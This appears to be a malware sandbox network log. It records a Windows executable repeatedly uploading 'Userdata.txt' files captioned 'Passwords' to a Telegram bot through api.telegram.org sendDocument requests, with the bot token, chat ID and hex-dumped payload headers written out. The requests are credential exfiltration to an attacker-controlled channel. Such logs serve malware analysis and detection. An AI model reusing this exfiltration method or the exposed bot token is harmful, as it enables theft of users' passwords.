2025-01-10 22:12:27 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 34 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44801,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547147,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	50012	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:29 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32f2c5d2fb99 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 66 32 63 35 64 32 66 62 39 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32f2c5d2fb99Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:29 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:29 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 34 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44802,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547149,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	50014	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:30 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33055b4f13ff Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:30 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 30 35 35 62 34 66 31 33 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33055b4f13ffContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:30 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:30 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 35 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44803,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547150,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	50016	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:32 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3317e34e673a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:32 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 31 37 65 33 34 65 36 37 33 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3317e34e673aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:32 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:32 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 35 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44804,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547152,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	50018	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:34 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd332a5d9f9c69 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:12:34 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 32 61 35 64 39 66 39 63 36 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd332a5d9f9c69Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:34 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:34 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 35 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44805,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547154,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	50020	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:35 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd333ccb7fd9d3 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:35 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 33 63 63 62 37 66 64 39 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd333ccb7fd9d3Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:35 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:35 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 35 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44806,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547155,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	50022	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:37 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3351cb172d67 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:37 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 35 31 63 62 31 37 32 64 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3351cb172d67Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:37 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:37 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 35 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44807,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547157,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	50024	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:38 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd336809ef4d50 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:12:38 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 36 38 30 39 65 66 34 64 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd336809ef4d50Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:12:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:12:38 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:12:39 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 38 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 37 31 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44808,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736547158,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	50026	149.154.167.220	443	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:12:40 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd337ceb19b4f4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
